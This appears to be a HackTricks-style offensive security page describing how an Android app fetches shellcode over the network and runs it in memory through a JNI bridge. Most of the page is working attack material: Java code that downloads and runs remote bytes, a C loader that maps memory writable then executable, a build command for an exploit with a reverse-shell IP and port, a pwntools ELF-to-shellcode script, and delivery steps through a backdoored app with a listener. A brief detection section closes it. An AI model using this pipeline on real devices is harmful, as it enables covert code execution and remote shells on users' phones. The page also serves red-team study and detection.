// HackTricks · Mobile

Android In-Memory Native Code Execution via JNI (shellcode)

Android In-Memory Native Code Execution via JNI (shellcode)

This page documents a lab pattern for executing native payloads in the memory of an Android app that already includes an authorized JNI library. The flow avoids writing a second ELF payload to disk: retrieve raw bytes over HTTPS, pass them to a JNI bridge, allocate writable memory, change it to executable, and call it.[1]

Why it matters

  • Reduces forensic artifacts (no ELF on disk)
  • Compatible with “stage-2” native payloads generated from an ELF exploit binary
  • Demonstrates a behavior defenders can hunt for: network retrieval followed by an anonymous RW-to-RX transition

High-level pattern

  1. Fetch shellcode bytes in Java/Kotlin
  2. Call a native method (JNI) with the byte array
  3. In JNI: allocate RW memory → copy bytes → mprotect to RX → call entrypoint

Minimal example

Java/Kotlin side

public final class NativeExec {
    static { System.loadLibrary("nativeexec"); }
    public static native int run(byte[] sc);
}

// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);

Declare <uses-permission android:name="android.permission.INTERNET" />, run the network operation off the UI thread, close the stream, enforce a maximum response size, and authenticate the payload. InputStream.readAllBytes() is not available on every Android API level, so use a bounded compatibility helper or an HTTP client when targeting older devices.[6]

C JNI side (arm64/amd64)

#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

static inline void flush_icache(void *p, size_t len) {
    __builtin___clear_cache((char*)p, (char*)p + len);
}

JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
    jsize len = (*env)->GetArrayLength(env, sc);
    if (len <= 0) return -1;

    // RW anonymous buffer
    void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (buf == MAP_FAILED) return -2;

    jboolean isCopy = 0;
    jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
    if (!bytes) { munmap(buf, len); return -3; }

    memcpy(buf, bytes, len);
    (*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);

    // Make RX and execute
    if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
    flush_icache(buf, len);

    int (*entry)(void) = (int (*)(void))buf;
    int ret = entry();

    // Optional: restore RW and wipe
    mprotect(buf, len, PROT_READ | PROT_WRITE);
    memset(buf, 0, len);
    munmap(buf, len);
    return ret;
}

Notes and caveats

  • W^X/execmem: the sample never maps a page writable and executable at the same time; it transitions RW to RX. Whether an anonymous executable mapping is permitted depends on Android version, app domain, SELinux/vendor policy, and device hardening. ART does maintain a managed JIT code cache, preserving the earlier page’s useful executable-pool distinction, but that cache is not a general JNI API or a drop-in policy bypass. Treat mprotect() failure as a stop condition rather than attempting to evade policy.[9]
  • Architectures: Ensure the shellcode architecture matches the device (arm64-v8a commonly; x86 only on emulators).
  • Entrypoint contract: Decide a convention for the shellcode entry (no arguments versus a structure pointer), keep raw shellcode position-independent, obey the platform ABI (stack alignment and callee-saved registers), and return an int if using this function pointer type.
  • Stability: Clear instruction cache before jumping; mismatched cache can crash on ARM.

Packaging ELF → position‑independent shellcode A robust operator pipeline is to:[2][3]

  • Build the test payload as a static ELF using a compiler that targets the device architecture and a compatible Linux ABI
  • Convert the ELF into a self‑loading shellcode blob using pwntools’ shellcraft.loader_append

Build

# amd64 emulator example; use an AArch64 cross-compiler for arm64 devices
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
  -DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""

Transform ELF to raw shellcode (amd64 example)

# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.amd64.linux.loader_append(elf.data)
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")

Why loader_append works: it emits architecture-specific loader shellcode followed by the ELF, maps the embedded program segments, and transfers control to its entry point. This does not make an arbitrary ELF compatible with Android: architecture, system-call ABI, static/dynamic linking, relocations, and the process security policy still have to match.[3][7]

Delivery

  • Host sc on an authenticated HTTPS server you control; cleartext HTTP is disabled by default for apps targeting Android 9 or later.[8]
  • The backdoored/test app downloads sc and invokes the JNI bridge shown above
  • Listen on your operator box for any reverse connection the kernel/user-mode payload establishes[5]

Validation workflow for kernel payloads[4]

  • Use a symbolized vmlinux for fast reversing/offset recovery
  • Prototype primitives on a convenient debug image if available, but always re‑validate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ)

Hardening/Detection (blue team)

  • Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy)
  • Enforce strict code integrity (no dynamic native loading from network) and validate update channels
  • Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.